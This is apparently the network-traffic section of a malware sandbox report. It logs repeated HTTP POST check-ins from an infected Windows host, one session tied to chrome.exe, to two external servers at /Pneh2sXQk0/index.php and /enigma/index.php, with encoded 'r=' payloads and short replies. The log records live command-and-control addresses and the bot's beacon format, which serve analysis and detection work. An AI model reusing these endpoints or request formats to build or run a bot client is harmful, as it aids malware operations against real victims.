Apr 19, 2024 03:36:24.856856108 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:25.106906891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1403	192.168.2.5	51258	193.233.132.167	80	2956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:25.243098021 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:25.488406897 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1404	192.168.2.5	51259	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:25.448409081 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:25.697608948 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1405	192.168.2.5	51260	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:25.743052006 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:25.996663094 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.5	51261	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:25.946080923 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:26.195178986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.5	51262	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:26.340588093 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:26.592338085 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.5	51263	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:26.522227049 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:26.771167994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.5	51264	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:26.843945026 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:27.096658945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.5	51265	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:27.021985054 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:27.273685932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.5	51266	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:27.433020115 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:27.680918932 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.5	51267	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:27.604831934 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:27.854819059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1413	192.168.2.5	51268	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:27.932941914 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:28.187618017 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1414	192.168.2.5	51269	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:28.098064899 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:28.340475082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1415	192.168.2.5	51270	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:28.518508911 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:28.757797003 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1416	192.168.2.5	51271	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:28.682579041 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:28.931243896 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1417	192.168.2.5	51272	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:29.014595032 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:29.271383047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1418	192.168.2.5	51273	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:29.178479910 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:29.426361084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1419	192.168.2.5	51274	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:29.615556955 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:29.859255075 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1420	192.168.2.5	51275	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:29.761034012 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:30.010283947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1421	192.168.2.5	51276	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:30.106158018 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:30.354044914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1422	192.168.2.5	51277	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:30.261141062 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:30.512808084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1423	192.168.2.5	51278	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:30.701637983 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:30.952784061 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1424	192.168.2.5	51279	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:30.844021082 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:31.092019081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1425	192.168.2.5	51280	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:31.207171917 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:31.462263107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1426	192.168.2.5	51281	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
